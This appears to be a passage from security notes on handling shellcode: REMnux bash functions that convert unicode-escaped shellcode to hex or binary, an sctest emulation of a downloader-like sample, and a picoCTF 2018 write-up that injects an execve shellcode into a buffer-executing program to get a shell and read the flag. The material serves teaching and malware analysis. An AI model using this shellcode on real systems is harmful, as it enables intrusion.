mov ebx, [esi+0x24]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [esi+0x1c]
add ebx, ebp
mov ebp, [eax+0x8eb49915]
mov al, [0x20202008]
and [eax], ah
and [eax], ah
and [eax], ah
and [eax], ah
and [eax], ah
and [eax], ah
and [eax], ah
and [eax], ah
and [eax], ah
and [eax], ah
and [eax], ah
and [eax], ah
and [eax], ah
and [eax], ah
and [eax], ah
and [ebx+0x43], al
add bh, bh
invalid

Conversions

Unicode to hexadecimal

You can add the following function to your ~/.bash_aliases file (script taken from REMnux)

function unicode2hex-escaped {
    perl -pe 's/[\"\s\+]//g; s/[%\\]u([a-fA-F0-9]{2})([a-fA-F0-9]{2})/\\x$2\\x$1/g;' ${*};
}

Here is a usage example:

$ cat shellcode.unicode 
%u00e8%u0000%u5d00%uc583%ub914%u018b%u0000%u3db0%u4530%u4500%u7549%uebf9%uad00
%uadad%uadad%uadad%ud4ad%u3dc1%u3d3d%u5962%u0d9c%u3d3d%u453d%ub631%u317d%u4db6
[SNIP]
%u0d0d%u0d5b%u0d0a%u0f0d%u5c59%u0e0b%u5c04%u5c04%u0b0d%u0d0d%u0d0d%u0d0d%u0d0d
%u0f0d%u0c5e%u0d08%u0c0e%u0e04%u0d0d%u0c0d%u090d%u040d%u0d0d%u0d0d%u0d0d%u0d0d
%u0a0c%u3d0d
$ cat shellcode.unicode | unicode2hex-escaped 
\xe8\x00\x00\x00\x00\x5d\x83\xc5\x14\xb9\x8b\x01\x00\x00\xb0\x3d\x30\x45\x00\x45
\x49\x75\xf9\xeb\x00\xad\xad\xad\xad\xad\xad\xad\xad\xd4\xc1\x3d\x3d\x3d\x62\x59
[SNIP]
\x0d\x0b\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0f\x5e\x0c\x08\x0d\x0e\x0c\x04\x0e
\x0d\x0d\x0d\x0c\x0d\x09\x0d\x04\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0c\x0a\x0d\x3d

Unicode to raw binary

You can add the following function to your ~/.bash_aliases file (script taken from REMnux)

function unicode2raw {
    perl -pe 's/[\"\s\+]//g; s/[%\\]u([a-fA-F0-9]{2})([a-fA-F0-9]{2})/chr(hex($2)).chr(hex($1))/ge' ${*};
}

Here is a usage example:

$ cat shellcode.unicode 
%u00e8%u0000%u5d00%uc583%ub914%u018b%u0000%u3db0%u4530%u4500%u7549%uebf9%uad00
%uadad%uadad%uadad%ud4ad%u3dc1%u3d3d%u5962%u0d9c%u3d3d%u453d%ub631%u317d%u4db6
[SNIP]
%u0d0d%u0d5b%u0d0a%u0f0d%u5c59%u0e0b%u5c04%u5c04%u0b0d%u0d0d%u0d0d%u0d0d%u0d0d
%u0f0d%u0c5e%u0d08%u0c0e%u0e04%u0d0d%u0c0d%u090d%u040d%u0d0d%u0d0d%u0d0d%u0d0d
%u0a0c%u3d0d 
$ cat shellcode.unicode | unicode2raw > shellcode.raw
$ cat shellcode.raw |sctest -Svs 10000000 > sctest-out.txt
$ more sctest-out.txt 
verbose = 1
Hook me Captain Cook!
userhooks.c:108 user_hook_ExitProcess
ExitProcess(1952201315)
stepcount 295460
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x00416fc6 => 
           = "urlmon";
) = 0x7df20000;
DWORD GetTempPathA (
     DWORD nBufferLength = 260;
     LPTSTR lpBuffer = 0x00416ec2 => 
           = "c:\tmp\";
) =  7;
[SNIP]

Hexadecimal to raw binary

You can create following alias in your ~/.bash_aliases file:

alias hex2raw="tr -d '\\\x' | xxd -r -p"

Here is a usage example:

$ more shellcode.hex
\xe8\x00\x00\x00\x00\x5d\x83\xc5\x14\xb9\x8b\x01\x00\x00\xb0\x3d
\x30\x45\x00\x45\x49\x75\xf9\xeb\x00\xad\xad\xad\xad\xad\xad\xad
[SNIP]
\x0d\x09\x0d\x04\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0c\x0a\x0d\x3d
$ cat shellcode.hex | hex2raw > shellcode.bin

Example

Consider the following vulnerable code from picoCTF 2018:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();
     
  return 0;
}

We can use the following shellcode (http://shell-storm.org/shellcode/files/shellcode-606.php):

char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
                   "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
                   "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
                   "\x51\x53\x89\xe1\xcd\x80";

Let's try this:

user@pico-2018-shell:/problems/shellcode_1_cec2eb801137d645a9f15b9b6af5347a$ (python -c "print '\x6a\x0b\x58\x99
\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'"; cat) | ./vuln
Enter a string!                                                                                                
j                                                                                                              
 XRfh-pRjhh/bash/binRQSÌ€                                                                                       
Thanks! Executing now...                                                                                       
ls                                                                                                             
flag.txt  vuln  vuln.c                                                                                         
cat flag.txt                                                                                                   
picoCTF{shellc0de_w00h00_26e91a77}
^C

Comments